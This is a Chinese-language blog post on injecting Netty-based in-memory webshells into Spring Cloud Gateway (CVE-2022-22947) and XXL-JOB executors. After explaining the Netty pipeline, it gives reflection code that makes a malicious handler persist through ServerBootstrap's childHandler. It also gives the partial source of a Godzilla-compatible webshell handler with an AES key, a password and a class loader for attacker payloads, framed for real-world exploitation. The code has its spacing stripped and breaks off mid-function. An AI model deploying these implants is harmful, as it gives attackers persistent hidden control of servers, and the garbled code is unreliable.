Jump to content

0x01 前言基於netty動態創建pipeline的特性,其內存馬的構造思路與tomcat有一定的區別,目前網上有關netty內存馬的文章都圍繞CVE-2022-22947和XXL-JOB兩種場景展開,並未對其做更為詳細的分析。本文就以上述兩種場景為始,嘗試從源碼角度探究netty內存馬的部分細節,以供大家參考。

0x02 Netty介紹I/O事件:分為出站和入站兩種事件,不同的事件會觸發不同種類的handler。

Handler (ChannelHandler):handler用於處理I/O事件,繼承如下幾種接口,並重寫channelRead方法完成請求的處理,功能類似於filter。

ChannelInboundHandlerAdapter入站I/O事件觸發該

handlerChannelOutboundHandlerAdapter出站I/O事件觸發該

handlerChannelDuplexHandler入站和出站事件均會觸發該handlerChannel (SocketChannel):可以理解為對Socket 的封裝, 提供了Socket 狀態、讀寫等操作,每當Netty 建立了一個連接後,都會創建一個對應的Channel 實例,同時還會初始化和Channel 所對應的pipeline。

Pipeline (ChannelPipeline):由多個handler所構成的雙向鍊錶,並提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新請求入站時,都會創建一個與之對應的channel,同時channel會在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)裡創建一個與之對應的pipeline。

QQ截图20240613133905.png

構造netty內存馬的一個思路,就是在pipeline中插入我們自定義的handler,同時,由於pipeline動態創建的特性,如何保證handler的持久化才是關鍵,本文以此為出發點,嘗試探究netty內存馬在不同場景下的利用原理。

0x03CVE-2022-22947先來簡單回顧一下CVE-2022-22947是如何注入內存馬的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位於reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。

關鍵點如下:

QQ截图20240613133921.png

config.defaultOnChannelInit()返回一個默認的ChannelPipelineConfigurer,隨後調用then方法,進入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,從函數名也能夠看出,這個方法用於合併對象,將當前默認的ChannelPipelineConfigurer與config.doOnChannelInit合二為一,返回一個CompositeChannelPipelineConfigurer。

隨後調用CompositeChannelPipelineConfigurer#onChannelInit,在此處循環調用configurer#onChannelInit,其中就包括我們反射傳入的doOnChannelInit#onChannelInit。

QQ截图20240613134233.png

c0ny1師傅給出的案例,就在onChannelInit內完成handler的添加,由於反射修改了doOnChannelInit,後續有新的請求入站,都會重複上述流程,進而完成handler的持久化。

publicvoidonChannelInit(ConnectionObserverconnectionObserver,Channelchannel,SocketAddresssocketAddress){ChannelPipelinepipeline=channel.pipeline();pipeline.addBefore('reactor.left.httpTrafficHandler','memshell_handler',newNettyMemshell());}另外,從reactor.netty.transport.TransportConfig#doOnChannelInit的路徑也能看出,該場景依賴reactor.netty,並不適用純io.netty的環境,如xxl-job等場景。

0x04XXL-JOB對於純粹的io.netty環境,在XXL-JOB內存馬中給出的答案是定制化內存馬,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的實現,由於每次請求都會觸發ServerBootstrap初始化流程,隨即進入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));而EmbedServer中的executorBiz在僅在啟動時觸發實例化,在整個應用程序的生命週期中都不變,使用動態類加載替換其實現,就能完成內存馬的持久化。

QQ截图20240613134332.png

在文章開頭,作者也曾嘗試反射調用pipeline.addBefore,依然是上面所提到的問題,不過很容易發現,通過ServerBootstrap所添加的EmbedHttpServerHandler能夠常駐內存,如果我們想要利用這一特性,還需進一步分析io.netty.bootstrap.ServerBootstrap的初始化過程。

0x05 ServerBootstrap限於篇幅,這裡僅截取關鍵代碼,直接定位到pipeline創建完成之後的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一個ServerBootstrapAcceptor,需要注意一下這裡的childHandler,這也是一種持久化的思路,後續會繼續提到。

QQ截图20240613134401.png

此時pipeline在內存中的情況如下,可以看到已經添加了ServerBootstrapAcceptor。

QQ截图20240613134442.png

netty介紹部分提及過handler的channelRead方法用於處理請求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的實現,這裡ServerBootstrapAcceptor把之前傳入的childHandler添加到pipeline中。

QQ截图20240613134450.png

childHandler由開發者所定義,通常會使用如下範式定義ServerBootStrap,也就是添加客戶端連接時所需要的handler。

ServerBootstrapbootstrap=newServerBootstrap();bootstrap.group(bossGroup,workerGroup).channel(NioServerSocketChannel.class).childHandler(newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(.).addLast(.);}})由開發者所定義的ChannelInitializer最終會走到ChannelInitializer#initChannel進行初始化,調用棧如下:

QQ截图20240613134545.png

總結一下該流程,每次請求都將觸發一次ServerBootstrap初始化,隨即pipeline根據現有的ChannelInitializer#initChannel添加其他handler,若能根據這一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化這一目標。

0x06內存馬實現在探究netty的過程中,發現這樣一篇文章: xxl-job利用研究,作者給出的EXP已經很接近完整版了,在文章的最後拋出兩個問題,一是'註冊的handler必須加上@ChannelHandler.Sharable標籤,否則會執行器會報錯崩潰',二是'壞消息是這個內存馬的實現是替換了handler,所以原本執行邏輯會消失,建議跑路前重啟一下執行器'。

這兩個問題很容易解決:

1、對於需要加入@ChannelHandler.Sharable這點而言,實測是不需要的,由於我們自定義的handler是通過new的方式創建的,理論上來講就是unSharable的。

2、反射修改ChannelInitializer導致執行器失效的問題,只需要給bootstrap添加一個EmbedHttpServerHandler就能保留其原有功能。

setFieldValue(embedHttpServerHandler,'childHandler',newChannelInitializer@OverridepublicvoidinitChannel(SocketChannelchannel)throwsException{channel.pipeline().addLast(newIdleStateHandler(0,0,30*3,TimeUnit.SECONDS))//beat3N,closeifidle.addLast(newHttpServe rCodec()).addLast(newHttpObjectAggregator(5*1024*1024))//mergerequestreponsetoFULL.addLast(newNettyThreadHandler()).addLast(newEmbedServer.EmbedHttpServerHandler(newExecutorBizImpl(),'',newThreadPoolExecutor(0,200,60L,TimeUnit.SECONDS,newLinkedBlockingQueu enewThreadFactory(){@OverridepublicThreadnewThread(Runnabler){returnnewThread(r,'xxl-rpc,EmbedServerbizThreadPool-'+r.hashCode());}},newRejectedExecutionHandler(){@OverridepublicvoidrejectedExecution(Runnabler,ThreadPoolExecutorexecutor){thrownewRuntimeExc eption('xxl-job,EmbedServerbizThreadPoolisEXHAUSTED!');}})));}});實戰中的利用還需兼容webshell管理工具,對於CVE-2022-22947而言,已有哥斯拉的馬作為參考,可直接在NettyMemshell基礎上稍作修改,需要注意的是,馬子裡的channelRead方法不能直接使用,問題出在條件判斷處,msg很有可能即實現了HttpRequest,也實現了HttpContent,因此走不到else中的邏輯,修改方式也很簡單,去掉else即可。

QQ截图20240613134637.png

目前實測下來,姑且認為不影響正常的功能,pipeline在內存中的情況如下:

packagecom.xxl.job.service.handler;

importcom.xxl.job.core.biz.impl.ExecutorBizImpl;importcom.xxl.job.core.server.EmbedServer;importio.netty.buffer.ByteBuf;importio.netty.buffer.Unpooled;importio.netty.channel.*;importio.netty.channel.socket.SocketChannel;importio.netty.handler.codec.http.*;importio. netty.handler.timeout.IdleStateHandler;importjava.io.ByteArrayOutputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.net.URL;importjava.net.URLClassLoader;importjava.util.AbstractMap;importjava.util.HashSet;importjava.util.concurrent.*;

importcom.xxl.job.core.log.XxlJobLogger;importcom.xxl.job.core.biz.model.ReturnT;importcom.xxl.job.core.handler.IJobHandler;

publicclassDemoGlueJobHandlerextendsIJobHandler{publicstaticclassNettyThreadHandlerextendsChannelDuplexHandler{Stringxc='3c6e0b8a9c15224a';Stringpass='pass';Stringmd5=md5(pass+xc);Stringresult='';privatestaticThreadLocalAbstractMap.SimpleEntryprivatestaticClasspayload;

privatestaticClassdefClass(byte[]classbytes)throwsException{URLClassLoaderurlClassLoader=newURLClassLoader(newURL[0],Thread.currentThread().getContextClassLoader());Methodmethod=Clas sLoader.class.getDeclaredMethod('defineClass',byte[].class,int.class,int.class);method.setAccessible(true);return(Class)method.invoke(urlClassLoader,classbytes,0,classbytes.length);}

publicbyte[]x(byte[]s,booleanm){try{javax.crypto.Cipherc=javax.crypto.Cipher.getInstance('AES');c.init(m?1:2,newjavax.crypto.spec.SecretKeySpec(xc.getBytes(),'AES'));returnc.doFinal(s);}catch(Exceptione){returnnull;}}publicstaticStringmd5 (Strings){Stringret=null;try{java.security.MessageDigestm;m=java.security.MessageDigest.getInstance('MD5');m.update(s.getBytes(),0,s.length());ret=newjava.math.BigInteger(1,m.digest()).toString(16).toUpperCase();}catch(Exceptione){}returnret;}

@Override//Step2.作為Handler處理請求,在此實現內存馬的功能邏輯publicvoidchannelRead(ChannelHandlerContextctx,Objectmsg)throwsException{if(((HttpRequest)msg).uri().contains('netty_memshell')){if(m sginstanceofHttpRequest){HttpRequesthttpRequest=(HttpRequest)msg;AbstractMap.SimpleEntryrequestThreadLocal.set(simpleEntry);}if(msginstanceofHttpContent){HttpContenthttpContent

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...